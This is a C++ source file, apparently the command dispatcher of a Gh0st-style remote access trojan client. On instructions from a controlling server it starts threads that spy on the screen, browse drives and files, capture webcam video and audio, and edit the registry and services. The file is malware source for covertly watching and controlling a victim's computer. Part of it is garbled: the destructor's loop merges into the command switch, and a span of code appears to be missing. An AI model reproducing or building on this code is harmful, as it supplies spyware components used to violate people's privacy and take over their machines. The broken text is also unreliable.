// KernelManager.cpp: implementation of the CKernelManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "KernelManager.h" #include "Common.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) { m_ulThreadCount = 0; } CKernelManager::~CKernelManager() { printf("~CKernelManager begin\n"); int i = 0; for (i=0;iOnServerSending((char*)&bToken, 1); m_bIsDead = 1; OutputDebugStringA("======> Client exit \n"); break; } case SERVER_EXIT: { BYTE bToken = SERVER_EXIT;// 主控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); m_bIsDead = 2; OutputDebugStringA("======> Server exit \n"); break; } case COMMAND_SCREEN_SPY: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } default: { OutputDebugStringA("======> Error operator\n"); char buffer[256] = {}; strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer)); printf("!!! Unknown command: %s\n", buffer); if (m_ulThreadCount != -1) { delete m_hThread[m_ulThreadCount].p; m_hThread[m_ulThreadCount].p = NULL; } break; } } }